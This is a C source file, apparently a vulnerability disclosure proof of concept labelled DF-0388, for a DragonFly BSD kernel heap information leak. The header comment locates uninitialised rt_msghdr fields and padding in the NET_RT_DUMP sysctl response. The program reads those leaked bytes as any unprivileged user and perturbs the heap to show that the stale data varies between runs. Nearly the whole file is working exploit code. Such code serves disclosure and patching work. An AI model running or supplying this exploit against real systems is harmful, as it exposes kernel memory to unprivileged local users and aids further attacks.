DF-0388 / df_0388_leak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 | /* * DF-0388 — kernel heap info leak via uninitialized rt_msghdr fields in * NET_RT_DUMP sysctl response. * * sys/net/rtsock.c:1676 -- rttable_walkarg_create() * w->w_buf = kmalloc(w->w_bufsz, M_TEMP, M_WAITOK | M_NULLOK); // NO M_ZERO * * sys/net/rtsock.c:1792-1801 -- rttable_walk_entry() writes selected fields * rtm_flags, rtm_use, rtm_rmx, rtm_index, rtm_errno, rtm_pid, rtm_seq, * rtm_addrs -- but NEVER writes rtm_inits (u_long @ offset 32, ~8 bytes) * nor the 2 bytes of struct padding between rtm_index (u_short @ off 4) * and rtm_flags (int @ off 8). * * The unwritten bytes are emitted verbatim by SYSCTL_OUT (rtsock.c:1855). * sysctl NET_RT_DUMP is CTLFLAG_RD-only (no priv check; readable by any * unprivileged local user). * * PoC: read the routing table via sysctl(2), find the rt_msghdr records, * and dump rtm_inits + the index/flags padding bytes. If any of these are * non-zero and vary across runs (after a fresh slab fill), it is stale heap. * * Build: cc -O2 -Wall -o df_0388_leak df_0388_leak.c * Run: ./df_0388_leak [as any unprivileged user] */ #include <sys/types.h> #include <sys/socket.h> #include <sys/sysctl.h> #include <net/route.h> #include <netinet/in.h> #include <errno.h> #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <unistd.h> /* MIB: net.route.0.(af).(op=NET_RT_DUMP).(arg=0) */ /* CTL_NET=4, PF_ROUTE=17, RTPROC=0, then handler wants: af, op, arg */ int dump_rt(int af, int runs) { int name[6]; size_t needed; int rc; name[0] = CTL_NET; name[1] = PF_ROUTE; name[2] = 0; /* protocol family */ /* handler does name++ */ name[3] = af; /* af */ name[4] = NET_RT_DUMP; /* op */ name[5] = 0; /* arg */ /* First: get size */ needed = 0; rc = sysctl(name, 6, NULL, &needed, NULL, 0); if (rc < 0) { if (errno == ENOENT) return 0; /* af has no routes */ fprintf(stderr, "sysctl(2,size) af=%d: %s\n", af, strerror(errno)); return -1; } if (needed == 0) return 0; char *buf = malloc(needed); if (!buf) { perror("malloc"); return -1; } size_t got = needed; rc = sysctl(name, 6, buf, &got, NULL, 0); if (rc < 0) { fprintf(stderr, "sysctl(2,data) af=%d: %s\n", af, strerror(errno)); free(buf); return -1; } /* Walk records: each begins with rt_msghdr; rtm_msglen gives total len. */ long off = 0; int nrec = 0, nz_inits = 0, nz_pad = 0; uint64_t inits_or = 0; /* OR of all rtm_inits seen */ uint16_t pad_or = 0; /* OR of all index/flags padding bytes */ while (off + (long)sizeof(struct rt_msghdr) <= (long)got) { struct rt_msghdr *rtm = (struct rt_msghdr *)(buf + off); int ml = rtm->rtm_msglen; if (ml < (int)sizeof(struct rt_msghdr) || off + ml > (long)got) break; /* rtm_inits is u_long @ offsetof 32 in DragonFly 64-bit */ uint64_t inits = (uint64_t)rtm->rtm_inits; /* 2 bytes padding between rtm_index (u_short off 4..5) and rtm_flags * (int off 8). Read them as raw bytes. */ uint8_t p6 = ((uint8_t*)rtm)[6]; uint8_t p7 = ((uint8_t*)rtm)[7]; uint16_t pad = (uint16_t)((p6 << 8) | p7); if (inits) { nz_inits++; inits_or |= inits; } if (pad) { nz_pad++; pad_or |= pad; } if (runs == 0 && nrec < 8) { printf(" af=%d rec#%d msglen=%d type=%d index=%u " "pad[6,7]=%02x,%02x rtm_inits=0x%016llx rtm_addrs=0x%x\n", af, nrec, ml, rtm->rtm_type, rtm->rtm_index, p6, p7, (unsigned long long)inits, rtm->rtm_addrs); } nrec++; off += ml; } printf("run=%d af=%d records=%d rtm_inits!=0:%d (OR=0x%016llx) " "pad!=0:%d (OR=0x%04x)\n", runs, af, nrec, nz_inits, (unsigned long long)inits_or, nz_pad, pad_or); free(buf); return 0; } int main(void) { int i; int afs[] = { AF_INET, AF_INET6, AF_LOCAL, AF_ROUTE }; int nafs = (int)(sizeof(afs)/sizeof(afs[0])); printf("uid=%d euid=%d\n", getuid(), geteuid()); for (i = 0; i < nafs; i++) dump_rt(afs[i], 0); printf("--- 3 more runs to test variance (stale heap differs across runs) ---\n"); /* Touch many slabs between runs to perturb heap state */ for (int r = 1; r <= 3; r++) { /* perturb: open+close a bunch of sockets to dirty M_TEMP-ish slabs */ for (int k = 0; k < 64; k++) { int s = socket(AF_INET, SOCK_DGRAM, 0); if (s >= 0) close(s); } for (int k = 0; k < nafs; k++) dump_rt(afs[k], r); } return 0; } |